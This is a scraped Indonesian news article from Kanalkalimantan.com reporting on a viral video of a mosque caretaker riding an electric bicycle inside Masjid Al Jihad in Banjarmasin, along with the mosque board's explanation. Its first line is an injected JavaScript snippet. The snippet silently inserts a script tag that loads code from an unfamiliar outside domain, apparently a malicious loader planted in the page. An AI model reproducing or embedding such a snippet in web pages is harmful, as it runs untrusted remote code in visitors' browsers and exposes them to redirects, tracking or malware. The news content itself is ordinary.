(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Media sosial dihebohkan dengan beredarnya potongan video seseorang yang mengendarai sepeda listrik di dalam Masjid Al Jihad Kota Banjarmasin.
Dalam video yang diunggah akun Instagram undercover.id, nampak seorang laki-laki dengan santai mengendarai sepeda listrik di dalam salah satu masjid Muhamadiyah terbesar di Banjarmasin itu.
Video itu menjadi viral dan mendapat komentar beragam dari netizen. Ada yang mengecam namun banyak juga yang berprasangka baik.
Baca juga: Hari Air Sedunia di Banjarmasin, Anggota MPAF Pungut Sampah di Sungai dan Larutkan Eco Enzyme
Terkait potongan video viral tersebut, membuat pengurus Masjid Al Jihad Banjarmasin harus angkat suara memberikan klarifikasi.
Ketua Takmir Masjid Al Jihad Banjarmasin, H Taufik menjelaskan bahwa orang yang mengendarai sepeda listrik tersebut adalah marbot masjid yang sedang mengangkut barang.
Pemanfaatan sepeda listrik di dalam Masjid Al Jihad menurutnya cukup beralasan yaitu digunakan untuk keperluan mengangkut barang seperti air mineral yang jumlahnya banyak.
Mengingat kata Taufik, setiap malamnya selama Ramadan di Masjid Al Jihad banyak menampung tidak kurang dari 2.000 jemaah, sehingga memerlukan air mineral yang banyak.
Baca juga: Tim Gabungan DKUMPP dan Polres Banjar Datangi Sejumlah SPBU
“Itu digunakan untuk mengakut barang air mineral. Karena selama bulan puasa Masjid Al Jihad menyediakan tidak kurang 100 dus, dan dibagi ke tempat-tempat tertentu,” katanya, Kamis (21/3/2024) siang.
Lanjut H Taufik, sepeda listrik tersebut bukan dimiliki perorangan, melainkan pemberian dari jemaah yang menjadi aset masjid dan baru difungsikan saat bulan Ramadan ini.
Namun penggunaan sepeda listrik di dalam Masjid Al Jihad dinarasikan salah, akhirnya persepsi netizen beragam karena diunggah sepotong tanpa penjelasan lengkap dalam tayangan tersebut. Warganet ada yang tidak memahaminya, bahkan disalah artikan sebagai penistaan tempat ibadah karena ketidak lengkapan penjelasan dalam unggahan video.
Kemudian sepeda listrik tersebut menurutnya juga belum pernah dioperasikan di jalan raya dan dibersihkan secara berkala, sehingga tidak akan mengotori karpet atau kesucian masjid.
Baca juga: Sule Ingin Kaya Jalur Instan
Namun, karena keburu viral maka pihak masjid saat ini kata Taufik, menyetop dulu pengguna sepeda listrik untuk pengangkutan air mineral di dalam masjid.
“Untuk menghindari pandangan lain, kami setop dulu penggunaannya, kedepannya kami gunakan troli dan tenaga,” pungkasnya. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.